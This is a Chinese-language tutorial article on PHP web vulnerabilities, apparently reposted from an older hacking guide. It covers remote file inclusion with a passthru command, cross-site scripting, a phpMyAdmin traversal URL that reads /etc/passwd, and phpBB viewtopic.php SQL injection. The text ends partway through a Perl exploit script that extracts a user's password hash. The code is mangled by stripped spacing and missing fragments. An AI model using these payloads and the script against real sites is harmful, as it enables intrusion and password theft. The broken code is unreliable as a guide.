PHP頁(yè)面漏洞分析的方法

PHP頁(yè)面漏洞分析的方法PHP 漏洞大致分為以下幾種：包含文件漏洞，腳本命令執(zhí)行漏洞，文件泄露漏洞，SQL注入漏洞等幾種。以下是為大家搜索的 PHP頁(yè)面漏洞分析的方法，歡迎大家閱讀!更多精彩內(nèi)容請(qǐng)及時(shí)關(guān)注我們 !首先，我們來(lái)討論包含文件漏洞。這個(gè)漏洞應(yīng)該說(shuō)是 PHP獨(dú)有的吧。這是由于不充分處理外部提供的惡意數(shù)據(jù)， 從而導(dǎo)致遠(yuǎn)程攻擊者可以利用這些漏洞以 WEB進(jìn)程權(quán)限在系統(tǒng)上執(zhí)行任意命令。我們來(lái)看一個(gè)例子：假設(shè)在 a.php中有這樣一句代碼:以下是引用片段：include($include."/xxx.php");?>在這段代碼中，$include 一般是一個(gè)已經(jīng)設(shè)置好的路徑，但是我們可以通過自己構(gòu)造一個(gè)路徑來(lái)達(dá)到攻擊的目的。比方說(shuō)我們提交:a.php?include=web/b.php，這個(gè)web是我們用做攻擊的空間，當(dāng)然，b.php也就是我們用來(lái)攻擊的代碼了。我們可以在b.php中寫入類似于:passthru("/bin/ls/etc"); 的代碼。這樣，就可以執(zhí)行一些有目的的攻擊了。(注:Web服務(wù)器應(yīng)該不能執(zhí)行 php代碼，不然就出問題了。相關(guān)詳情可以去看 <>)。在這個(gè)漏洞方面，出狀況的很多，比方說(shuō):PayPalStoreFront,HotNews,MamboOpenSource,PhpDig,YABBSE,phpBB,InvisionBoard,SOLMETRASPAWEditor,LesVisiteurs,PhpGedView,X-Cart等等一些。接著，我們?cè)賮?lái)看一下腳本命令執(zhí)行漏洞。這是由于對(duì)用戶提交的URI參數(shù)缺少充分過濾，提交包含惡意 HTML代碼的數(shù)據(jù)，可導(dǎo)致觸發(fā)跨站腳本攻擊，可能獲得目標(biāo)用戶的敏感信息。 我們也舉個(gè)例子:在PHPTransparent的以下版本中的index.php頁(yè)面對(duì)PHPSESSID缺少充分的過濾,我們可以通過這樣的代碼來(lái)達(dá)到攻擊的目的:web/index.php?PHPSESSID=">在script 里面我們可以構(gòu)造函數(shù)來(lái)獲得用戶的一些敏感信息。 在這個(gè)漏洞方面相對(duì)要少一點(diǎn)， 除了PHPTransparent之外還有:PHP-Nuke,phpBB,PHPClassifieds,PHPix,UltimatePHPBoard等等。再然后，我們就來(lái)看看文件泄露漏洞了，這種漏洞是由于對(duì)用戶提交參數(shù)缺少充分過濾，遠(yuǎn)程攻擊者可以利用它進(jìn)行目錄遍歷攻擊以及獲取一些敏感信息。我們拿最近發(fā)現(xiàn)的 phpMyAdmin來(lái)做例子。在phpMyAdmin中，export.php頁(yè)面沒有對(duì)用戶提交的'what'參數(shù)進(jìn)行充分過濾，遠(yuǎn)程攻擊者提交包含多個(gè)'../'字符的數(shù)據(jù)，便可繞過WEBROOT限制，以WEB權(quán)限查看系統(tǒng)上的任意文件信息。比方說(shuō)打入這樣一個(gè)地址:export.php?what=../../../../../../etc/passwd%00 就可以達(dá)到文件泄露的目的了。在這方面相對(duì)多一點(diǎn)，有 :myPHPNuke,McNews等等。最后，我們又要回到最興奮的地方了。想想我們平時(shí)在 asp頁(yè)面中用SQL注入有多么爽，以前還要手動(dòng)注入，一直到小竹悟出"SQL注入密笈"(嘿嘿)，然后再開做出NBSI以后，我們NB聯(lián)盟真是拉出一片天空。曾先后幫CSDN，大富翁論壇，中國(guó)頻道等大型網(wǎng)站找出漏洞。(這些廢話不多說(shuō)了，有點(diǎn)跑題了...)。還是言規(guī)正傳，其實(shí)在 asp中SQL的注入和php中的SQL注入大致相同，只不過稍微注意一下用的幾個(gè)函數(shù)就好了。將 asc改成ASCII，len改成LENGTH，其他函數(shù)基本不變了。其實(shí)大家看到 PHP的SQL注入，是不是都會(huì)想到PHP-NUKE和PHPBB呢?不錯(cuò)，俗話說(shuō)樹大招分，像動(dòng)網(wǎng)這樣的論壇在asp界就該是漏洞這王了，這并不是說(shuō)它的論壇安全太差，而是名氣太響，別人用的多了，研究的人也就多了，發(fā)現(xiàn)的安全漏洞也就越多了。PHPBB也是一樣的，現(xiàn)在很大一部分人用PHP做論壇的話，一般都是選擇了PHPBB。它的漏洞也是一直在出，從最早版本被人發(fā)現(xiàn)漏洞，到現(xiàn)在最近的版本的groupcp.php,，以及之前發(fā)現(xiàn)的search.php,profile.php,viewtopic.php 等等加起來(lái)，大概也有十來(lái)個(gè)樣子吧。這也一直導(dǎo)致，一部分人在研究 php漏洞的時(shí)候都會(huì)拿它做實(shí)驗(yàn)品，所謂百練成精嘛，相信以后的 PHPBB會(huì)越來(lái)越好。好了，我們還是來(lái)分析一下漏洞產(chǎn)生的原因吧。拿viewtopic.php 頁(yè)面來(lái)說(shuō)，由于在調(diào)用viewtopic.php 時(shí)，直接從GET請(qǐng)求中獲得"topic_id" 并傳遞給SQL查詢命令，而并沒有進(jìn)行一些過濾的處理，攻擊者可以提交特殊的 SQL字符串用于獲得 MD5密碼，獲得此密碼信息可以用于自動(dòng)登錄或者進(jìn)行暴力破解。 (我想應(yīng)該不會(huì)有人想去暴力破解吧,除非有特別重要的原因)。先看一下相關(guān)源代碼:以下是引用片段：if(isset($_GET_VARS[POST_TOPIC_URL])){$topic_id=intval($_GET_VARS[POST_TOPIC_URL]);}elseif(isset($_GET_VARS['topic'])){$topic_id=intval($_GET_VARS['topic']);}從上面我們可以看出，如果提交的 view=newest并且sid設(shè)置了值的話，執(zhí)行的查詢代碼像下面的這個(gè)樣子 (如果你還沒看過PHPBB源代碼的話，建議你看了再對(duì)著這里來(lái)看，受影響系統(tǒng)為和。以下是引用片段：$sql="SELECTp.post_idFROM".POSTS_TABLE."p,".SESSIONS_TABLE."s,".USERS_TABLE."uWHEREs.session_id='$session_id'ANDu.user_id=s.session_user_idANDp.topic_id=$topic_idANDp.post_time>=u.user_lastvisitORDERBYp.post_timeASCLIMIT1";Rick 提供了下面的這斷測(cè)試代碼 :useIO::Socket;$remote=shift||'localhost';$view_topic=shift||'/phpBB2/viewtopic.php';$uid=shift||2;$port=80;$dBType='mysql4';#mysql4orpgsqlprint"Tryingtogetpasswordhashforuid$uidserver$remotedbtype:$dBType";$p="";for($index=1;$index<=32;$index++){$socket=IO::Socket::INET->new(PeerAddr=>$remote,PeerPort=>$port,Proto=>"tcp",Type=>SOCK_STREAM)ordie"Couldntconnectto$remote:$port:$@";$str="GET$view_topic"."?sid=1&topic_id=-1".random_encode(make_dbsql())."&view=newest"."/1.0";print$socket$str;print$socket"Cookie:phpBB2mysql_sid=1";#replacethisforpgsqlorremoveitprint$socket"Host:$remote";while($answer=){if($answer=~/location:.*x23(d+)/)#Matchesthelocation:viewto